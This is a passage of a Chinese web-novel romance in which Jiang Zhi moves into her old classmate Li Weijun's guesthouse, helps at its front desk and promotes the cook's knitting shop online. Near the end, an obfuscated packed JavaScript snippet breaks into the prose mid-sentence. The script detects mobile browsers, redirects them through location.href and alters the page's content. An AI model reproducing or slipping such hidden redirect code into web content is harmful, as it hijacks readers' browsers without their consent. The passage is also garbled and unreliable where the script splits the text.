哎,高中因为在宿舍睡觉睡不好,宁愿每天早上早起半小时顶着黑眼圈咬着早饭来上学,宁愿每天晚上打着哈欠擦着黑回家,也得办走读的人,是怎么认为自己不挑剔的呢? 李惟钧轻声笑,忽然叫她:“姜至。” “嗯?”她盯着手机,没抬头。 “姜至,”他又叫了她一遍,“留在盛夏将至吧。” 姜至一顿,抬眼。 李惟钧把车停下,侧头。 手机屏幕灭了,白色的屏幕光消失,昏黄的落日余晖照进车里,他们俩眼中的彼此镀了一层自然的,温暖的橘色光影,姜至觉得李惟钧此刻的眼神熠亮,非常亮。 他刚才没有问她“要不要留”,这次也是,直接了当地告诉她:“留在这儿,你的房间不再对外预定,我按市场价收你房租。” 姜至感觉自己的脑子不转了,她想到很多,然而最终却也只是说:“你亏了。” 李惟钧看向前方,太阳彻底落下去了,天色一半是灿烂的橘黄一半是将暗未暗的蓝,昼长夜短,寒冬将尽,春天快要来了。 他重新发动车,目的地是盛夏将至,在副驾驶姜至直直朝他看来的愣怔目光里,说:“不亏啊,姜至。” 10.冬与春的距离(9) 傍晚五点半,西途的最后一点橘色晚霞被渲染成墨蓝色的星空,街道上亮起五彩斑斓的霓虹灯,红色的汤泉酒店,蓝色的酒吧迪厅,还有绿色的“锦州特色小烧烤”,各种颜色应有尽有。 姜至一路看过来,甚至还觉得有点眼花。 也就前面那栋装着暖橘色彩灯的店看着养眼了。 车往前走,缓缓停靠在那家店门前,姜至一瞧才发现这唯一一家灯光看着顺眼的店原来是盛夏将至。 完了,这还没住进去呢,她已经对这里有强烈的滤镜了。 姜至想,李惟钧那句“留在盛夏将至吧”威力有这么大吗? 不然她怎么稀里糊涂就跟他回来了呢? 李惟钧把姜至凌晨放在后备箱的所有行李搬下来,高越冬从屋里看见,也一块出来帮忙,看见这大箱小箱的东西还有点吃惊,“哥,你去接客人了?这人怎么拿这么多行李?要住很多天吗,大单子啊这是!” 姜至从李惟钧背后冒出头,手里提着乱七八糟的装饰品,皮笑肉不笑朝他招招手:“大单子在这儿。” 高越冬嘴巴微张,“小姜姐?你不是租房子去了吗?” 李惟钧把她手里的东西接过来递给高越冬,“嗯,租的咱们这儿。” “啊?咱们这儿还能单租呢?” 李惟钧扣着高越冬的后脑勺,让他转身往回走,很淡定地说出一个决定:“今天下午刚刚上的新业务,目前只接一单。” 这也太草率了。 不对!就说你们俩不对劲! 自以为参透了他俩秘密的高越冬不怀好意地朝李惟钧咧咧嘴,偷偷摸摸问道:“还给小姜姐住208?” 李惟钧斜睨他一眼。 “住楼上那屋多小啊,你一楼的房间那么大……哎哎哎哥?沉!” 李惟钧把两个盛满了东西的大瓦楞纸箱全放他手上,淡声说:“敢拿掉就等着。” 高越冬:“……” 这下好了,满嘴的废话完全变成龇牙咧嘴的呻.吟。 行李看着虽然不多,可往208一放,屋里瞬间就小了不少。李惟钧帮姜至把落地镜组装好,在屋里环视了一圈,暂时想不起来还有什么要给她准备的。 她正在往衣柜里叠衣服,两个大箱子里全是漂亮衣服,厚外套,毛衣,薄内搭,牛仔裤,半身裙全都腾出来,再然后是…… 李惟钧别开眼,说:“你先收拾,整理完看看缺什么东西再跟我说,楼下在准备晚饭,要是收拾的差不多就下来吃晚饭。” 姜至点点头,等他出去关上门,才从行李箱里把自己花花绿绿的内衣内裤拿出来,整理好。 但这些其实也没什么可整理的。 她内衣内裤都是混搭风,长这么大还没穿过成套的,什么聚拢型外扩型,统统不如舒服的运动型,内裤也统统都是普通的纯棉马卡龙色。 问题是,他刚才看见了吗? 小小一个衣柜很快就装满,天气一天比一天热,这些厚衣服肯定不能一直在这儿放着,而且她应该也不会在这儿长住。 她的春装还在清潭没拿过来,姜至琢磨着得抽个时间回去一趟,把衣服来回换一换。 地板上的东西李惟钧没动,全给她放在墙边等着她弄,姜至一个个拿出来,把常用的摆放好,剩下有些东西这屋子完全用不着,倒是可以往楼下大厅摆一摆,不然放着也是落灰。 差不多收拾好,姜至叉着腰,站在门口呼了口气。床上用品换了她喜欢的,很清新的淡蓝色,床下的地毯也是她带来的,毛绒绒的米白色,旁边圆桌上铺了镂空桌布,暂时还没有插花,如果插上两支鲜花会更好看,飘窗也被她铺了一层软垫,将来下了班可以在那儿追剧玩手机。 这样一瞧,感觉这间屋子变得好温馨,拉开窗帘,外面就是后院小花园,还能看见山,怎么看怎么舒服。 不过她仍是没反过来劲儿,没想到自己居然能在盛夏将至安下一个属于自己的“家”。 她说李惟钧亏了,他确实是亏了。 盛夏将至所有房间共同用着一个水闸和电闸,wifi也是统一的,所以208房的水电费和网费不能单独算,李惟钧说她一个人也用不了多少,就不收了,楼下的家用电器也能随便用,厨房也是,只是她不会做饭,李惟钧说她可以跟着店里的人一起吃。 或许是怕她不好意思,房租还是按市场价收的,一分没少。 唯一的缺点就是离公司远了,不过,李惟钧说那边跟他的“飞跃”跳伞基地正好顺路,早上上班可以把她捎过去,连交通费也省了。 无论怎么想,确实都很划算。 这算是白捡了李惟钧一个大便宜吧。 但是嘛,来都来了。 姜至对于她搬进李惟钧民宿这件事终于有了实感。 越看这间卧室越满意,姜至十分安心,在这儿住她绝对不需要考虑独居的安全问题。 她感觉到肚子饿,抱着箱子里剩余的东西下楼,刚一到楼梯口,就听见楼下热热闹闹的声音。 餐桌上,李惟钧在擀饺子皮,郑阿姨在包饺子,高越冬什么都不会,但是主打一个没忙硬帮,非得把郑阿姨摆得好好的饺子重新再摆一遍,结果本来圆鼓鼓的饺子都被他捏出了坑。 郑阿姨拿擀面杖要敲他,“烧水去!别在这儿给我捣乱!” “你知道烧多少水吗?”李惟钧扬声。 “拿这小锅烧一整锅呗,这总够了吧。”高越冬拿了个买方便面赠的汤锅出来,尺寸倒是挺大的,就是锅太浅了。 郑阿姨“咝”了声,满脸嫌弃,“用这锅煮就你自己吃啊?小李,你去。” 李惟钧起身,拍了拍手上的面粉,端起两盘生饺子,一抬头,看见姜至站在楼梯口。 姜至对上他的目光,后知后觉冒出一个念头:李惟钧那句“留下”的威力和诱惑力,确实是太大了。 他弯唇:“收拾好了?有缺的东西吗?” “你这儿什么都有,不缺。”她回神,走下楼把臂弯里的东西给李惟钧看,“这些你看店里能不能用,楼上摆不下了,在我这里放着也是放着。” “能用,待会儿咱们一起摆上,”他示意姜至先把箱子放一边,“郑阿姨今天包了饺子,她包的饺子一绝,你正好尝尝。” 姜至跟着李惟钧进了厨房,虽然他给的便宜够大的了,但她也不能脸皮太厚什么便宜都占,该算的还是要算清楚的。 其实,姜至也搞不懂自己为什么非得要跟李惟钧算这么清楚。 她身边的异性朋友不算多,大部分都是初高中认识的,但这两年大家出国的出国,工作的工作,也就逢年过节的时候才有时间联系一下互相送句祝福,所以除了梁嘉西之外,她没跟哪个男生这么密切的接触过,之前和他谈恋爱时他们俩之间也是有来有往的,送礼物或是吃饭出去玩,她不会一直让他一个人承担恋爱约会的费用,在这方面他们好像达成了一个共识,所以她从没在心里记挂过“算账”这件事。 这样一想,那段恋爱好像很简单,简单到只剩下“钱”,分手那天,一点让她牵挂的或者过意不去的事情都没有。 姜至摇摇头,想远了。 但李惟钧好像不太一样,她心里总想着不能太让李惟钧吃亏,他挣点儿钱也不容易。 更何况,在李惟钧这儿得到的东西不仅仅是能用钱来衡量的,更多的是一种人情,他总是把“老同学”挂在嘴边,给她发感情牌,而她接受了,并且暂时做不到有来有往的给他些什么,只能先拿着“感情牌”默默在心里欠着。 因为她并不了解李惟钧,不知道他需要什么,她似乎也没什么可以给他的,现在的李惟钧好像什么都不缺,不像高中。 李惟钧一猜就知道她要说什么,“合同再等等?你体谅一下,我也是第一次接短租这种单子。” “没事,你慢慢出合同,反正我人就在这儿,又跑不了。” 李惟钧笑着点点头,觉得她说的很对,反正人都在这儿了。 姜至清清嗓子,一本正经地说:“那咱们再来讨论一下吃饭的问题。” 李惟钧盖上锅盖,饶有兴致地面对她,靠在桌沿边一本正经回答:“嗯,你说。” “我早上八点半上班,晚上九点下课,中午午休两个小时,但我习惯先备好第二天的课再回家,所以基本都是十点才走,但是现在住得远了,而且初三的晚课还有十三天就能上完,那会儿我应该就不会在公司留那么晚了,估计六点半就 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水烧开了,锅盖被水蒸气顶下来,连带着旁边的小调料瓶一起噼里啪啦摔在地上,饺子在水面上滚动,李惟钧调小火,捡起锅盖和调料瓶,拿勺子轻轻搅拌着锅底,脸上的模样就跟这些动作一样不慌不忙,他也没有再重复,笃定她听见了,“毕竟你都叫我小李老板了。” 厨房狭小的空间被热乎乎的水蒸气氤氲着,恍惚间跟进了仙境似的,李惟钧整个人都被雾蒙蒙的水汽包裹住,姜至看不清他的脸,感觉被蒸腾得燥热,愣了会儿,凑到他肩膀旁边瞧着他的侧脸,“你没开玩笑吧。” “饭钱这个还真不好算,你一个女生,我怎么收合适?” 李惟钧往锅里添了一小碗凉水,盖上锅盖等着水再次沸腾,雾气没了,他侧头,姜至离他很近很近,身体差一点就要贴住他的手臂。 他喉结滚了滚,眸光里全是认真,正色道:“但是说真的,姜至,你如果觉着过意不去,要不试着考虑考虑?” “之前我这儿是两个前台,前天另一个男生去省外打工跟我提了辞职,现在就剩冬子一个人了,他还在上大学,只有周五周六周日才能来,这段时间我不在的时候都是郑阿姨顶着。当然,我的意思也不是说让你像冬子一样在这儿上班,等你下课回来,或者休息日有空闲的时候可以帮忙在前台处理处理电脑上的订单信息,给那些来住店的客人办办入住,要是有心思的话招待招待他们也行,别的都不用管,就当抵你这些饭钱和水电费怎么样?郑阿姨到底上岁数了,有些东西她搞不懂。” “要是下课回来累了困了就直接去房间休息,没找到新前台和冬子交班之前,我每天晚上都回民宿。” 姜至退后两小步,嘴角朝左轻轻翘着。 李惟钧也不摧,耐心地等她琢磨,往盘子里盛饺子,“这盘是你的,够吗?” “太多太多,再少几个。” “那儿有醋,要吃自己倒。橱柜里是泡面,自热米饭和自热火锅之类的速食,还有一些别的,你可以自己看看,住店的人有时候会买,上面贴了标签写着价格,他们单独扫店里二维码付款就行。 ” 姜至“嗯”了声,表示知道了,又凑近上前去接饺子,伸手,手伸到半道,忽然反应过来她在这答应个什么劲呢?于是动作停下:“李惟钧,你真是太会算账了!我还说你亏了,你简直亏不了一点!” 这算是答应了。 李惟钧也乐意配合她,笑意微妙,跟她装傻充愣:“什么?” “我租你的房子还得给你打工!你说实话,让我租房子之前你是不是就想到这件事了!” “请苍天辨忠奸,我真冤枉啊姜老师!” “再纠正一下,这不算打工,我也没给你结工资啊。”他关了火,找了个合适的词,“你这应该是……合作伙伴?再者说,这儿不算你家?” 紧跟着一句解释:“在西途的家。” 好像是很有道理的样子,盛夏将至确实是她在西途的家,但这话怎么有点说不出的感觉呢? 姜至瞥他:“我又没给你钱,算哪门子合作伙伴?” 李惟钧出主意:“那不如再象征性地给点儿,我让你入股?” 姜至“嘿”了下,仰头瞪他:“你给我下套呢是吧!” 李惟钧哼笑出了声,肩膀没忍住抖了两下,随后敛起笑容问她:“那你入股吗?姜至。” 11.第 11 章 饺子是茴香猪肉馅的,皮薄馅大,蘸着醋吃特别香。 姜至一般不怎么挑食,唯独不太爱吃猪肉馅饺子,有一次吃到了没剁碎的肥肉块,一下子就腻了,此后吃饺子任丽娟一直都给她单独包韭菜鸡蛋的。 她已经很久没有吃过猪肉馅饺子了,没想到在盛夏将至一改从前,李惟钧给她盛的那一盘居然不够,后来又往盘子里多夹了几个,最后一个饺子下肚,郑阿姨笑着问她:“还要不要再吃?小李再去煮点儿。” “哎哎不用了不用了,我饱了!”姜至双腮鼓动着,拦住李惟钧。 李惟钧问她:“真不用?” “……” 姜至看着他似笑非笑的脸,好像在说:不知道谁刚才说他盛得太多,要他再少几个。 “真饱了!”姜至瞥他,拽着衣角把人拽下来坐下。 李惟钧手心抓了抓被她弄皱的衣角,往她面前推了碗饺子汤,“不烫了。” 姜至也不理他,端起来喝了几口,郑阿姨说:“剩下的都在冰箱里冻着呢,你什么时候想吃自己就去煮。” “好啊,您这饺子真的很好吃!” “有你在我感觉省心多了,小李一说你能帮忙我这心里舒坦了很多。” 闻言,高越冬忽然问:“小姜姐要在咱们这儿上班啊。” 李惟钧看着姜至:“不算是上班,我请她入股了。” 高越冬瞠目:“啊?” 这人!张嘴就来,怎么没发现他这闷葫芦也这么会插科打诨呢,不过姜至以为他刚才在厨房那样说是在开玩笑,就没搭理他,虽说他这是间小民宿,客流量也不是很多,但入股哪有那么简单啊说入就入。 只是没想到他现在又说了一遍,认真的吗? 稀奇啊,她竟然也有猜不透李惟钧时候。 他跟以前比,还真是变了。 “别听他瞎说,我就是在这儿帮个忙,没有工资的那种帮忙。” 李惟钧紧跟着又说:“但也是盛夏将至的一份子。” 郑阿姨的目光在李惟钧脸上转了圈,没说什么。他最近兴奋得过头,别人看不出来,她看得出来。 高越冬拐着弯“哦”了声,又用那种戏谑的视线在他俩身上来回倒腾,结果被李惟钧一个眼神给灭了。 姜至没看见他俩的眼神交流,喝完汤,跟高越冬说:“待会儿你教教我怎么操作后台?” “很简单的,你一看那个页面就懂了,不用我教就能会。再下个APP,让钧哥给你登上民宿后台,直接就能在手机上看。” 李惟钧直接把民宿APP后台的账号密码,店里的监控,和收款的微信账号密码一起都给她了。 姜至点开那个微信账号才发现和他现在用的微信不是同一个,但名字是一样的。 原来她加好友的那个“盛夏将至”不是工作号,就是他私人号啊。 小李老板还真是敬业,私人号也用民宿的名字起微信名。 这是有多喜欢盛夏将至。 这个工作号一直是高越冬运营,朋友圈内容倒是挺丰富,五花八门的,就连郑阿姨做的饭他都发,评论区一水儿都在说想吃想吃。姜至还发现,每次只要他一发李惟钧的照片,点赞评论量就呈双倍上升,虽然那些照片都没露正脸,估计是他偷拍的。 姜至饶有兴致地翻看那些评论,网友真是什么都敢说,好好的“盛夏将至”民宿宣传贴都快要变成“老板征婚帖”了,异常热闹,划到最后,有条评论玩梗: 【小方老板,不懂就问,你是意大利和中国混血吗?不然怎么长得这么像我的意中人?】 底下有人回复:【小方老板隔夜饭都要吐出来了。】 小方老板? 不应该是小李老板吗? 姜至想到李惟钧他姐姓方,他和他姐是一个跟爸爸姓一个跟妈妈姓吗,就像她和任欣然一样。 那怎么有人管他叫小方老板呢。 没等姜至多想,高越冬吃完饺子,要带着她去熟悉操作后台,李惟钧把她的餐具端走,示意她跟过去看,姜至说先等等,拿起抹布要擦桌子,郑阿姨拦着不让,“我来我来,你快去跟冬子玩吧。” 一看手就知道这姑娘不是干活的人,细皮嫩肉,指尖纹路也很淡,在家里肯定是被从小宠到大的。 她猜想李惟钧留下姜至也是要宠着的。 姜至抢不过她,好笑地朝李惟钧看过去,悄声说:“你都跟郑阿姨说什么了?擦桌子都不让我擦,这点活我能干的!我说了在这儿帮忙,能做的事情肯定都会去做啊。” 李惟钧微微侧头,知道她不是娇气的姑娘,但郑阿姨似乎并不这么觉得,因为无论谁第一次见到她都会先入为主地想她一定是个十指不沾阳春水的娇小姐,就连他高中见到她第一面都是那样认为的,“可能是不好意思?她还不了解你。” 他把厨房门关上,打开水龙头,一边洗碗一边说:“店里这么多年招过就只有郑阿姨一个女员工,她跟我们俩男人没什么共同话题,也就我姐过来的时候能跟我姐多聊聊天,其实郑阿姨是个很健谈的人,就是有点慢热,你多跟她接触接触就知道了。” 想了想,又提醒道:“阿姨的丈夫五年前去世了,有个儿子,但她跟她儿子关系不太好。” 姜至讶然:“她看上去可不像是会吵架的人呀。” “她儿子是倒插门,儿媳妇不让他们母子来往。” 她把李惟钧洗干净的碗接过来,擦干,放进橱柜里,“啊……居然有这种儿子?” “还有冬子。” “他怎么了?他看上去挺开朗一男生啊。” “但他其实也挺难的。今年刚十九,在西途大学读大一,他跟父母关系也算不上好,不是亲生的,”李惟钧擦干净灶台,又洗了洗手,说:“高三那年那家人的亲儿子找回来了,怕他抢财产,他养父母就想把他送出国,其实就是变相的不想管他,冬子索性就跟那边划清界限了,高三开始就一边学习一边打工,一直在这儿干到现在。” “……” 姜至没想到盛夏将至的每个人都这么有故事,哑口无言,兀自消化了一会儿这些消息,抬眼看李惟钧。 盛夏将至真是个神奇的民宿,盛夏将至的老板也真是个神奇的老板。 她双臂抱起来,悠悠问道:“那你呢?” 李惟钧对视回来。 “你没有故事吗?” 他顿了顿,垂下眼,“我能有什么故事。” 姜至发现新大陆似的,上半身朝他探了探,戏谑着说:“你不对劲哦。” 李惟钧轻笑,跟她说车轱辘话:“哪里不对劲?” 姜至还真的思忖了下,“虽然咱们俩是高中同学,算一算也认识很久了,但我一点也不了解你哎,我只知道你脾气很好,人也热心,性格在男生之中算得上非常温和,是西京大学计算机系毕业,然后开了跳伞基地和民宿,除了这些之外,我什么都不知道。” “这些还不够吗?” 姜至被他问的一愣,对啊,还不够吗? 对于普通朋友来说,够了。 不对,李惟钧有这么直白地问过她吗? 没有吧。 她不笑了,手垂下去,指尖在厨柜上轻轻点着,给自己找了一个深入了解他的理由,“可是……我现在住在你这里啊。” 李惟钧给了她一个选择的权力:“你还想了解我哪方面?” 姜至却又说不出来,心口一荡,刚才想问他什么来着?忘了。她被李惟钧那股直白的视线扰乱了神思,却更加确定了心里的想法,“李惟钧,上高中的时候我怎么没发现你这么会说话呢?” “有吗。” “当然!高中的时候你话很少的,简直就是彻头彻尾的淡人,你懂什么叫淡人吗?就是无论干什么都有一种老僧入定的淡泊感和要死不活的松弛感。” 李惟钧毫不意外她会这样评价,不过还是弯弯唇:“你形容的我像是块没有感情又木讷的木头桩子。” 姜至摸摸鼻子,“这可是你自己说的啊,我没说。” 李惟钧默了默,“我也有感情的。” 姜至又是一怔。 怎么会没感情呢。 他极少数的情绪波动都给了她,但是她不知道。 应该永远也不会知道吧。 “日子还长,姜至。”他的瞳仁黑白分明,目光熠亮,缓缓说:“你可以慢慢了解我。” 第二天一早,小李老板兼任司机送姜至上班。 相比以前那个出租屋,这里的通勤时间要多将近二十分钟,姜至得早起半小时,闹钟响的时候整个人还困得要死,躺在床上想:要不装个病吧。 怎么感觉回到高中了呢?是因为昨晚又梦到坐在一中11班教室,却穿着2018年衣服的李惟钧了吗? 但这次,姜至已经比上次梦到他时要淡定许多了,甚至一边回想梦境中他又做了什么让她对他刷新印象的事,诸如问她要不要看肌肉,要不要“深入”了解他各种方面之类的,一边犹豫要不要请病假。 高中走读早上不想起床就用这一招,还磨磨蹭蹭迟到过几次,大学不想上早八也用这一招,没想到工作了还是想用这一招。 但又想到昨晚临睡前李惟钧说要送她,姜至硬撑着困劲儿掀开被子,下床,快速洗了个漱,带着化妆品坐进车里。 李惟钧倒是精神抖擞,他貌似任何时刻都很精神抖擞,姜至不知道他哪儿来这么大精力,再仔细一看,他捯饬得还挺……光彩照人。 总之一点也没浪费他的脸和身材。 姜至多看了两眼,打了个哈欠,放下遮阳板也开始往脸上涂涂画画,“晚上我可以自己回来,你忙的话不用刻意来接我,公司有交通补助的,我昨晚研究了一下坐公交车也很方便。” “好,那你注意安全。今天冬子回学校,民宿就郑阿姨一个人在。” “郑阿姨家住哪儿啊?离民宿远吗?” “骑自行车差不多十几分钟。” “那以后晚上就让她早点下班呗,太晚也不安全,反正有我在。” “行,你自己跟她商量。” 姜至正涂口红,嘴巴微张,弯出微笑的弧 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那男人装监控瞒着没跟她说,她搬走的时候他也把这个事情忘了,后来俩人闹分手,分开了一段时间,一直到前几天他翻旧手机才发现这房子里还有个摄像头,也没多想,就点开软件看了眼,恰好就被姜至发现了。 好在摄像头没有存储功能,只能看实时监控,所以没留下任何关于姜至个人隐私的记录,那男人也跟姜至道了歉,她该拿的补偿也拿了,这事儿在她这里就算过去,她就是吓了一大跳,除此之外也没什么损失。 从警局出来回公司的路上,姜至给李惟钧打了个电话说了下情况,两个人聊了两句有的没的,到公司楼下,姜至碰见同事,准备挂电话前李惟钧说他今天估计得晚点回民宿,单位临时有个会需要他去开,现在就得出发。 姜至今天刚刚结束初三的语文课,晚上六点半准时下班,第一次赶在郑阿姨做热乎饭时回到盛夏将至。 最近西途是旅游淡季,来旅游的人也不多,民宿没几个住店的,郑阿姨不忙,姜至回去时她正在织毛衣。 姜至不是内向的人,她很擅长和人交流,所以没几天就和郑阿姨熟了,对民宿平时的活也摸了个七七八八。 就像李惟钧说的那样,她终于对盛夏将至熟悉起来了。 “哎你今天怎么回这么早?我饭还没做呢。”她放下手里的东西就要去做饭。 姜至拉住她,“我以后晚上就没课了,都这个点儿回来,我不饿,您饿吗?李惟钧得晚点回来。” “我也不饿,那等饿了再说。晚饭想吃什么?我提前准备材料。” “都行,您做什么我吃什么。” 郑阿姨就喜欢听这种话,而且姜至吃东西很香,看她吃饭的人会食欲大开,做饭的人也会感觉到很满足,“那我泡上豆子炖八宝粥,再炒俩菜,正好小李回来热一热就能直接吃。” 姜至拿起桌上的毛线半成品,“您这是织什么呢?” “毛衣。我挂网店里卖的。” “哇,您还有网店呢?” “小李给我弄了一个,零零碎碎也能卖出去几件。” “哪个账号啊?我关注一下。” 郑阿姨把店铺发给她,姜至打开看了眼,挂上去的都是她织的东西,不过粉丝和销量真不多。 “织的都很好看啊,款式也很新,您有没有想过往线下店里推销推销?”姜至出主意。 阿姨摇头,“人家线下店都有固定拿货源,不好往他们那里卖。” “那要不试试在社交平台上宣传一下?估计也会有很多人喜欢,这些毛衣是真的很好看。” “网店都是小李给我弄的,你说的那些我就更不明白了。” 说干就干,姜至拿了她的手机,抖音快手小红书全给注册了,“我来帮您弄,您把所有成品都拿过来吧。” 这时,有个住店的客人下楼买泡面,问姜至:“这儿早饭是几点开始供应啊?” “六点半,”姜至查了下他的房号信息,“您这个单人间是不含早饭的。” “那我单独订个早饭加多少?” 姜至给他看了眼服务单,那客人单独定了个早餐,收完钱,姜至忽然冒出一个想法。 她跟郑阿姨说:“您做饭这么好吃,怎么就没想过往外给客人订餐呢。午饭和晚饭可以列一个菜单挂在前台,如果客人有需要吃饭的就找你点菜,还是按人头做,这样你还能多赚点钱,但就是得累点。” “别说,还真没琢磨过这个,之前也没客人问过所以没想过这茬。” “那要不先试试?” “行啊!我现在就把我会做的菜列出来,小姜你帮我弄一下菜单?” 姜至没想到她答应的这么快,“等李惟钧回来跟他商量一下吧,他毕竟是老板,我这也只是一个想法。” “没事儿,他说了,听他的听你的都一样!” 姜至没作声,忽地发现一件事—— 她没入股啊,怎么就做了入股该做的事呢? 李惟钧是怎么做到的? 12.冬与春的距离(11) 李惟钧绝对给她下套了。 这个想法猛然出现,随后以迅雷不及掩耳盗铃之势劈头盖脸地砸过来,成功把姜至砸晕了,她心里乱乱的,有点捋不清自己想法了。 看来人不能太早立flag,虽然她嘴上说不管不管,可该操心的事情还是操心了。 也不能把任何话都当成玩笑话,尤其是不能把李惟钧的话当成玩笑话。 什么“听他的听你的都一样”…… 这个权力属实是太大了,姜至有点捉摸不透,李惟钧放权放得这么草率吗? 但她直觉,不能再插手太多了,不该管的不要管,不然那算把李惟钧放在什么位置? 而且他真的很佛系随性,显得他这个老板当的有点“草台班子”……或许是还有别的本职工作,民宿只是个副业,他没太多时间来仔细管理盛夏将至,姜至也不确定他需不需要让民宿更火爆,万一他不需要那就是多此一举了。 她也只是个租他房子顺带帮忙的,不能太“喧宾夺主”啊。 更何况她志不在此,将来肯定是要离开盛夏将至的,或许是一两年之后,也或许是三年之后,总之,支教最多也就三年,终归有离开盛夏将至,离开西途的时候,她不可能一辈子待在西途的。 万一真的在这其中投入太多精力和感情,姜至想,她一定没办法痛快抽身。 无论干什么,在哪儿,她都很喜欢掌握主动权,对待心里认准的人,物或事,绝对不会轻轻松松地放开手,并且要做的话绝对会抱着满分的态度主动去做。 实话讲,在她这个非酒店管理专业的人眼里,如果按照清潭市酒店民宿行业的标准来看,“盛夏将至”有太多地方需要改进,这段时间她也从高越冬嘴里听说了好多小李老板的“好人好事”,他对来住店的客人太好了,因此,刨去水电费和员工工资等各种支出,每个月根本剩不了多少利润。 姜至在外出门旅游时也住过不少民宿,觉得很多东西都可以拿过来借鉴一下,绝对能吸引更多游客赚更多钱,但是改了一就得改二,她很怕自己太过于主动导致收不住,没准儿到时候真就把李惟钧给“架空”了,而且她也不专业,也怕改不好给他惹麻烦赔钱。 其实这些都还只是次要的,最主要的原因是,姜至很清楚自己是个不擅长分别的人。 她很怕自己到时候舍不得盛夏将至。 这样想着,姜至没再着急帮郑阿姨弄菜单,她按住了刚才那颗蠢蠢欲动的心,冷静下来,说:“等李惟钧回来再跟他一起商量商量吧,这里面还涉及到定价之类的东西,不知道用不用跟工商局上报,我也不太了解这些事。” 郑阿姨一琢磨,是这么回事,这件事情做起来肯定没嘴上说着这么简单,便应了句好,上厨房准备晚饭去了。 姜至在客厅把郑阿姨织的所有东西全都拍了照片,又是布景又是挑光线调角度,拍完照片腰都是酸的,准备上传到平台上时才想起来问她:“您打算在这些平台上起个什么名儿?” 阿姨一时半会儿想不起来,“要不直接跟网店叫一样的吧,小李给起的,我觉得还挺好听。” “行!那就全网统一。”姜至输入“织出盛夏”,一边打字一遍想,这名字起得还挺文艺,“搞定!” 刚申请的账号没有流量,姜至把“织出盛夏”所有社交平台截了图,发到民宿的微信朋友圈里,顺带着让高越冬和李惟钧也转发一遍,然后又往自己的朋友圈和几个群聊里也发了发,粉丝肉眼可见地涨了不少。 郑阿姨很是开心,姜至说:“您以后织东西的时候记得录下来传到上面,等您熟悉了我再教您剪视频。” “那麻烦你了啊小姜。” “不麻烦啊,您到时候多在评论区互动互动,等粉丝够数了还能开直播呢,最近直播这行可火了,能多挣点是一点。” “直播?我可不行啊!”郑阿姨摇头。 “可以不用露脸,只出声,”姜至笑,“特别简单,回头我教给您。” “我都一把年纪了还玩你们这些年轻人玩的东西。” 姜至不赞同:“您也不老啊!而且谁说的年纪大了就不能玩年轻人玩的东西了?咱们也得追赶潮流啊。” 郑阿姨满脸激动,有点语无伦次地笑着,看样子紧张又期待,最后还没忘夸赞姜至:“小姜,你真是帮了我大忙了!小李说你是个宝,这话真没说错!” 姜至回味半天什么叫“宝”,心里跟投了块石子一样一圈一圈泛起涟漪,久久未平。 李惟钧这人……什么啊,她怎么在他嘴里就成宝了。 她眨眨眼睛,饶有兴味地问:“他是这么跟您夸我的啊,那他还说什么了?” “反正夸了一大堆!可能是怕我们不听你的话?”郑阿姨就这么把李惟钧抖落了个干净,笑了声,接着说:“小李说你看着不言语,其实主意多着呢,鬼精鬼精的,让我有事听你的,准没错。” 姜至又是一愣,是吗? 连这都能看出来? 不过,她怎么不知道李惟钧这么了解她呢? 太过于被人了解算不上是一件好事,尤其是被一个男人了解的太透彻,更不用说她现在根本没有完全了解过那个男人。 姜至惊奇地发现,她在李惟钧这儿居然没了主动权,这种被动感让她感觉到陌生的同时,也有一丝新奇。 他做什么了吗?也没有吧。 好神奇的一个男人。 谁要是跟他谈恋爱……不好说,冲他这种悄无声息就占据主动的厉害之处,姜至断定,谁跟他谈谁被拿捏。 …… 吃过晚饭,姜至窝在懒人沙发里备明天的课,任丽娟发来微信问她朋友圈发的网店是怎么回事,她还没告诉任丽娟她搬家了,正好借这个机会说了声,没想到任丽娟也还记得李惟钧。 “房东是你们高中那个班的班长吗?” “妈妈你居然还记得他?是我们班的副班长。” 任丽娟有些印象,“我记得那个男生成绩特别好。” “……你就记着这个了。”不过确实,李惟钧和她的成绩咬得很死,他们俩的排名几乎一直是紧挨着的,每次开完家长会之后任丽娟都会夸李惟钧。 姜至对李惟钧唯一一个印象深刻的地方就在这儿了。 当然,时隔多年,任丽娟现在也依然会夸他:“人家一看就懂事,虽然家里条件不太好,但是我早说了——” 还没夸完,姜至慢悠悠接话:“你早说了,寒门出贵子,莫欺少年穷。” 任丽娟:“对。” 姜至觉得苗头不对劲,任丽娟要拿李惟钧作比较念叨她回清潭工作了,便找了个由头赶紧挂了电话,一看朋友圈才发现底下一堆评论没回复。 姜至耐心地让她们多多关注“织出盛夏”,喜欢哪件可以来找她下单,再帮忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15082126|162792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多宣传宣传,有朋友见她这么卖力气,好奇地问这是你新开的店吗。 就连乔映谣也跑来问:“你在西途开了个毛衣店?” “不是,这是李惟钧民宿里那个做饭阿姨开的店。”姜至抱着手机跑回屋关上门,把前段时间的事告诉她,说:“我现在租的是他的民宿。” 乔映谣愣了好半天才消化完,语气讶然,“所以,他是你房东了?” 姜至说:“他还是我老板。” “啊?” “开个玩笑,他不收我水电费和饭钱,我就在店里帮帮忙,权当抵那些钱了。” 乔映谣调侃:“嗬,不一般啊。” 又要说鬼话了,姜至瞥她:“……哪里不一般?” “这个事情的走向很魔幻哎,你不是在乎块儿八毛的人啊,那些乱七八糟的费直接交房租的时候多给他转点儿不完了吗,用得着那么麻烦?还来什么老板员工这一出。” 忘了这茬…… 姜至被她问住,嘟囔:“我没想到。” 乔映谣脸上写着我不信,啧啧嘴,“到底是没想到还是不想?” “你又歪曲人家意思!都跟你说了少看点儿小说,那玩意儿看多了找不着对象!” “恼羞成怒了吧姜老师。” 姜至:“……” “说真的,你们俩都在一块这么长时间了,都不来电?他外表看着真不差啊,难不成是外强中干?” 姜至闭了闭眼,“再说一遍,我俩是普通朋友。” 乔映谣“呦呦呦”撇着嘴,特别夸张地重复:“普~通~朋~友~” 